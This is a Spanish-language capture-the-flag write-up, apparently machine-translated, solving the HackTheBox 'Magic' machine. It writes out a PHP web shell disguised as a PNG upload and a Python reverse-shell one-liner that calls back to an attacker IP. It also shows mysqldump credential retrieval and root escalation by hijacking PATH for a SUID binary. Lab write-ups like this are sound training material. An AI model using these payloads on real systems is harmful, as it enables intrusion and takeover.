HackTheBox. Paso de la Magia. Pulverización de contraseña. Mysqldump y LPE a través de sysinfo



Sigo publicando soluciones enviadas a la finalización de máquinas desde el sitio HackTheBox .



En este artículo, lanzamos un shell en una imagen, buscamos credenciales usando mysqldump y elevamos privilegios a través de sysinfo.



La conexión al laboratorio es vía VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
Para que pueda conocer nuevos artículos, software y otra información, creé un canal de Telegram y un grupo para discutir cualquier tema en el campo de ICS. Además, personalmente consideraré sus solicitudes, preguntas, sugerencias y recomendaciones personales y responderé a todos .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.185, que agrego a / etc / hosts.



10.10.10.185 	magic.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185       --rate=500






Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opción -A.



nmap -A magic.htb -p22,80






El host tiene 2 puertos abiertos: 22 para el servicio SSH y 80 para el servidor web. Como de costumbre, navegamos por la web.







Observe el enlace a la página de inicio de sesión. En primer lugar, intentamos una forma de eludir la autorización y encontrar la correcta.







Nos recibe un formulario para subir imágenes. Intentemos poner algo de código en php. Para hacer esto, tome los primeros cuatro bytes de la imagen y agregue algo de código. En este caso, conservaremos la doble extensión. Dado que en el arranque, el servidor verificará este último y, en la ejecución, el primero.

python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png






Pero nos están atrapando.







Intentemos hacer trampa y ocultar el código en un comentario.







Y después de intentar descargar, se nos informa sobre la descarga exitosa.







El archivo se carga, pero la pregunta es dónde. Repasemos los directorios, el sitio es simple y tenía mucho tiempo, así que no usé diccionarios gigantes y gobuster. Ejecute dirb.







Lo más probable es que encontremos el directorio donde se cargan los archivos. Ahora vayamos a nuestro archivo y pasemos el comando ls como parámetro.







¡Y ya está!



Punto de entrada



Echemos el shell inverso como parámetro.

http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Y obtenemos una conexión posterior en el puerto 4321.











Y en el directorio de trabajo encontramos el archivo para trabajar con la base de datos.







Y en este archivo encontramos la contraseña del usuario.







Además, este usuario está en el sistema. Intentamos cambiar el usuario, pero fallamos.







USUARIO



Dado que esta es la contraseña de la base de datos, está asociada con mysql. Pero no funcionó para mí ni con mysql ni con mysqladmin. Entonces se decidió mirar todos los programas relacionados con mysql.







Luck le sonrió a mysqldump. Nos conectamos y encontramos la contraseña.

mysqldump -u theseus -p iamkingtheseus Magic





Ahora cambiamos el usuario con éxito y obtenemos la bandera personalizada.







RAÍZ



Por conveniencia, generé claves SSH usando ssh-keygen, escribí la pública en el archivo ~ / .ssh / allowed_keys y usé la privada que conecté a través de SSH. A continuación, descargue LinPEAS en el host remoto y ejecútelo. Después de una lista completa de todo el sistema, analizamos la salida. Lo único que me enganchó son los archivos con el conjunto SUID (los que ejecutamos como root).







Programa Sysinfo. Después de buscar información, no se encontró nada sobre la ejecución del comando. Entonces surgió la idea, ¿y si sysinfo usa otros programas que podemos desacreditar? Ejecuté sysinfo bajo ltrace.







Por lo tanto, sysinfo ejecuta los programas lshw, fdisk y cat. Ahora más sobre el vector LPE. El sistema operativo tiene una variable de entorno PATH que almacena rutas.







Cuando escribe el programa ls o cd, el sistema busca a su vez estos archivos en los directorios especificados en la RUTA. Por lo tanto, si escribimos cualquier directorio en primer lugar en la RUTA y ponemos otro programa ls o cat en él, se llamará.



Entonces haré esto con fdisk. No lanzaré un shell inverso, simplemente copiaré nuestra clave SSH para el usuario root para conectarse a la raíz a través de SSH y también a un usuario.







Llamemos a fdisk por ejemplo. Como puede ver, se ha llamado a un fdisk legítimo.







Ahora agreguemos nuestra ruta a la variable de entorno PATH.







El sistema buscará ahora fdisk en / tmp / 123 primero.







Ejecutemos sysinfo.







Vemos un error en la salida, ya que la raíz no tiene un directorio .ssh. Cambiemos el script para que primero cree el directorio y luego lo copie. Después de ejecutar sysinfo, no hay errores de fdisk. Nos conectamos a través de SSH como root y recogemos la bandera.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad, en la que habrá personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier tema de TI y seguridad de la información.



All Articles